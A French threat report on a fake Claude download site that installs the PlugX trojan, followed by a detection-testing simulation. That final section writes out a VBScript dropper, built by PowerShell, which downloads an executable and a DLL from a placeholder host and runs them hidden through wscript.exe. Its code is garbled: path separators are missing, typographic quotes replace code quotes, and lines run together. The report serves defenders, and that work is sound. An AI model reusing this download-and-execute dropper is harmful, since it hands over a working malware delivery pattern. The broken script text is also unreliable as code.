Un faux site Claude installe un logiciel malveillant donnant accès à votre ordinateur aux attaquants

Résumé

Les attaquants ont mis en place une fausse page de téléchargement de Claude qui distribue une archive ZIP trojanisée aux utilisateurs imprudents. Une fois ouverte, l’archive installe un client de bureau Claude apparemment légitime tout en déployant secrètement le cheval de Troie PlugX via le chargement de DLL avec un programme de mise à jour G DATA signé. La charge malveillante était placée dans le dossier de démarrage de l’utilisateur pour maintenir la persistance, puis initiait une communication HTTPS sortante avec un serveur de commande et de contrôle. La campagne montre comment les acteurs de la menace exploitent de plus en plus l’intérêt pour les outils d’IA populaires comme appât d’ingénierie sociale pour compromettre initialement.

Investigation

Lors de l’analyse, les chercheurs ont décompressé l’archive ZIP, identifié le chemin d’installation MSI et ont suivi l’exécution vers un dropper VBScript qui écrivait NOVUpdate.exe, un avk.dll, et un fichier de données chiffré dans le dossier de démarrage. L’exécution dans un bac à sable a confirmé que le binaire chargé avec une charge réussissait à se lancer, modifiait une clé de registre liée au TCP/IP et initiait des connexions sortantes sur le port 443 vers une adresse IP hébergée par Alibaba Cloud. Ces découvertes ont confirmé la livraison de PlugX via une chaîne d’infection mise en scène déguisée en logiciel légitime d’IA.

Atténuation

Les utilisateurs doivent télécharger le logiciel Claude uniquement à partir de sources officielles vérifiées et valider l’authenticité des paquets d’installation avant l’exécution. Les défenseurs doivent inspecter les dossiers de démarrage pour rechercher des binaire ou DLL inattendus, en particulier les fichiers qui imitent des composants de mise à jour légitimes. Les télémetries de pare-feu et d’endpoint doivent également être examinées pour détecter le trafic HTTPS sortant suspect lié à des applications nouvellement installées. Supprimer les fichiers malveillants, inverser les modifications de registre non autorisées et effectuer un scan anti-malware de confiance sont des étapes clés pour contenir la menace.

Réponse

Les équipes de sécurité devraient détecter et alerter sur la présence de NOVUpdate.exe, avk.dll, ou NOVUpdate.exe.dat dans le répertoire de démarrage. Les détections supplémentaires devraient se concentrer sur les binaires de mise à jour G DATA signés chargeant des DLL non fiables et établissant des sessions TLS sortantes inattendues vers l’infrastructure identifiée. Les hôtes concernés devraient faire l’objet d’une remédiation complète et d’un examen forensique pour s’assurer qu’aucun autre composant PlugX, mécanisme de persistance ou charge utile ultérieure ne reste actif.

Exécution de la simulation

Condition préalable : La vérification préalable de la télémetrie et du baseline doit être réussie.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection. Des exemples abstraits ou non pertinents entraîneront des erreurs de diagnostic.

• Narrative d’attaque et commandes :
  Un attaquant crée un script VBS malveillant qui télécharge la charge utile NOVUpdate.exe depuis un serveur de commande et de contrôle (C2), l’écrit à %TEMP%et la lance ensuite via wscript.exe. Le même script charge également avk.dll depuis le même emplacement pour réaliser le chargement par DLL. L’attaquant utilise l’hôte de script Windows (WSH) intégré pour éviter de susciter les soupçons des heuristiques AV traditionnelles.

  1. Écrire le fichier VBS malveillant (malicious.vbs) vers %TEMP%.
  2. Invoquer wscript.exe avec le chemin vers le fichier VBS.
  3. Le script VBS effectue un HTTP GET pour récupérer NOVUpdate.exe and avk.dll, les écrit sur le disque, et exécute NOVUpdate.exe.

• Script de test de régression :

  # --------------------------------------------------------------------
  # Simulation de dropper malveillant – déclenche la règle Sigma
  # --------------------------------------------------------------------
  $tempDir = "$env:TEMPDropperDemo"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. Créer un VBS malveillant qui télécharge deux fichiers et exécute NOVUpdate.exe
  $vbsPath = "$tempDirmalicious.vbs"
  $vbsContent = @"
  Set objXML = CreateObject("Microsoft.XMLHTTP")
  objXML.open "GET", "http://example.com/NOVUpdate.exe", False
  objXML.send
  If objXML.Status = 200 Then
  Set objStream = CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.Write objXML.ResponseBody
  objStream.SaveToFile "$tempDirNOVUpdate.exe", 2
  objStream.Close
  End If

‘ Télécharger avk.dll (utilisé pour le chargement par DLL) objXML.open « GET », « http://example.com/avk.dll« , False objXML.send If objXML.Status = 200 Then Set objStream = CreateObject(« ADODB.Stream ») objStream.Type = 1 objStream.Open objStream.Write objXML.ResponseBody objStream.SaveToFile « $tempDiravk.dll », 2 objStream.Close End If

‘ Exécuter l’EXE déposé CreateObject(« WScript.Shell »).Run «  » »$tempDirNOVUpdate.exe » » », 0, False « @ Set-Content -Path $vbsPath -Value $vbsContent -Encoding ASCII

# 2. Exécuter le script via wscript.exe (c'est la télémetrie que nous testons)
$wscript = "$env:SystemRootSystem32wscript.exe"
Start-Process -FilePath $wscript -ArgumentList "`"$vbsPath`"" -WindowStyle Hidden

# OPTIONNEL : pause pour permettre à la détection de se déclencher
Start-Sleep -Seconds 10
# --------------------------------------------------------------------

• Commandes de nettoyage :

  # Supprimer tous les artefacts générés par la simulation
  $tempDir = "$env:TEMPDropperDemo"
  if (Test-Path $tempDir) {
      Remove-Item -Path $tempDir -Recurse -Force
  }
  
  # S'assurer que tous les processus NOVUpdate.exe restants sont terminés
  Get-Process -Name "NOVUpdate" -ErrorAction SilentlyContinue | Stop-Process -Force